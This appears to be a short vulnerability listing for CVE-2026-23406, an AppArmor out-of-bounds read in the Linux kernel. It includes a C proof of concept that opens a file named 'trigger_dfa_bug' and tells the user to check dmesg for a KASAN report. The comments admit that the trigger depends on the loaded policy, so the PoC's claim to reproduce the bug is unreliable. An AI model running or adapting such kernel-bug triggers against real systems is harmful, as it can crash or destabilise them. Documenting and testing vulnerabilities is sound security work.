CVE-2026-23406 Linux内核AppArmor越界读取漏洞

/* * PoC for CVE-2026-23406 * Triggering the AppArmor slab-out-of-bounds read. * This requires a system with AppArmor enabled and a specific policy loaded. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> int main(int argc, char **argv) { // The specific pattern to trigger the differential encoding chain // depends on the AppArmor policy compiled into the kernel or loaded. // Based on the crash log, opening a file with a specific name // triggers the bug in aa_dfa_match. const char *filename = "trigger_dfa_bug"; int fd; // Attempt to create and open the file to trigger path permission check fd = open(filename, O_RDONLY | O_CREAT, 0644); if (fd < 0) { perror("open failed"); return 1; } printf("File opened. Check dmesg for KASAN: slab-out-of-bounds.\n"); close(fd); // Clean up unlink(filename); return 0; }